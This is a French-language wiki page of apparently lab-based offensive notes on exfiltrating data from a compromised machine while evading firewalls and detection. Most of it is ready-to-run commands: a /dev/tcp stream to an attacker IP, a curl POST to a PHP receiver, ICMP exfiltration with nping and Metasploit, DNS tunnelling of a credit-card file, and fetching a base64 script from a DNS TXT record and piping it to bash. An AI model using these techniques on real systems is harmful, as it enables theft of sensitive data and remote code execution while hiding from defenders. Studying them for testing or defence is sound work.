[Exploitation/Réseau] Data exfiltration

Introduction

Après avoir compromis un système et élevé ses privilèges, un pirate va avoir tendance à exfiltrer des données sensibles.

Cependant, il ne doit pas se faire détecter par les systèmes de sécurité et contourner les potentiels pare-feux.

Techniques

Netcat

Un simple flux **TCP** peut suffire dans certains cas. Vous pouvez alors lancer un listener sur la machine de l'attaquant :

```
nc -lvp <PORT> > <OUTPUT>
```

Et depuis la machine victime :

```
tar zcf - <DIR> | base64 | dd conv=ebcdic > /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT>
```

> Le fichier sera **compressé**, encodé en **base64** et en **EBCDIC** par DD avant d'être envoyé, ce qui rend le trafic illisible sur le réseau.

Une fois la donnée récupérée, on peut la décoder et la décompressée :

```
dd conv=ascii if=<FILE> |base64 -d > <ARCHIVE>.tar
```

```
tar xvf <ARCHIVE>
```

SSH (sans SCP)

```
tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"
```

HTTP POST

Monter un serveur web **php** qui va recevoir les données en **base64** et les enregistrer dans un fichier :

```
<?php
if (isset($_POST['file'])) {
        $file = fopen("/tmp/http.bs64","w");
        fwrite($file, $_POST['file']);
        fclose($file);
   }
?>
```

Depuis la machine victime, on peut maintenant exfiltrer les données de la sorte :

```
curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php
```

À cause de l'**encodage URL**, les **+** sont remplacés par des **espaces**, on peut résoudre le problème :

```
sudo sed -i 's/ /+/g' /tmp/http.bs64
```

Puis on peut **décoder** et **extraire** le fichier :

```
cat /tmp/http.bs64 | base64 -d | tar xvfz -
```

> L'avantage par rapport à la méthode **GET** est que la donnée en base64 ne sera pas enregistrée dans les **logs** du serveur web.

> On peut aussi utiliser un serveur web en **HTTPS** pour que le trafic soit complètement chiffré.

ICMP

À travers le champs **DATA** des paquets **ICMP**, il est possible d'exfiltrer des données.

Pour cela, on peut se mettre en écoute sur la machine de l'attaquant avec le bon module **Metasploit** :

```
msfconsole
```

```
use auxiliary/server/icmp_exfil
```

```
set BPF_FILTER icmp and not src ATTACKBOX_IP
```

```
set INTERFACE eth0
```

```
run
```

Et on peut exfiltrer de la donnée depuis la machine victime grâce à **nping** :

```
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "BOFfile.txt"
```

```
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "admin:password"
```

```
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "EOF"
```

> Depuis Metasploit, vous devriez avoir reçu la donnée.

DNS

On exfiltrer de la donnée en utilisant le **DNS** même si pour cela il faut être en possession d'un **nom de domaine**.

Sur la machine de l'attaquant, **écoutez** les requêtes DNS :

```
sudo tcpdump -i eth0 udp port 53 -v
```

Puis depuis la machine victime, on encode en base64 la chaîne contenue dans le fichier credit.txt, on la découpe en chaînes de 18 caractères (63 max) et on ajuste en retirant les "." puis on effectue les requêtes :

```
cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash
```

On peut décoder la chaîne une fois reçue sur le poste de l'attaquant :

```
echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com." | cut -d"." -f1-8 | tr -d "." | base64 -d
```

Sur le même principe, on peut créer une entrée **TXT** sur le serveur DNS afin de stcoker des scripts encodés en base64 :

```
dig +short -t TXT flag.tunnel.com
> "YmFzaCAtYyAvdXNyL2xvY2FsL3NiaW4vZmxhZy5zaAo="
```

On peut le récupérer et l'exécuter :

```
dig +short -t TXT flag.tunnel.com | tr -d "\"" | base64 -d | bash
```

Revision #4
Created 16 February 2024 11:54:50 by Elieroc
Updated 3 May 2024 13:15:15 by Elieroc